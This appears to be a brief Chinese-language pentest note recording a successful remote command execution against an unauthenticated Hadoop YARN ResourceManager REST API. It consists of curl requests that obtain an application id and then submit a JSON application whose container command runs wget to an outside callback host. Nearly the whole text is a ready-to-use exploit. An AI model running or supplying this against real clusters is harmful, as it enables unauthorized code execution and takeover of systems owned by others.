工作遇到了,有幸测试成功,记录下。
首先获取 application-id
curl -v -X POST 'http://target:8088/ws/v1/cluster/apps/new-application'
1.json
{
"am-container-spec":{
"commands":{"command":"wget http://123123123.ceye.io/my_test"}
},
"application-id":"id",
"application-name":"test",
"application-type":"YARN"
}
执行命令
curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json' http://target:8088/ws/v1/cluster/apps --data-binary @1.json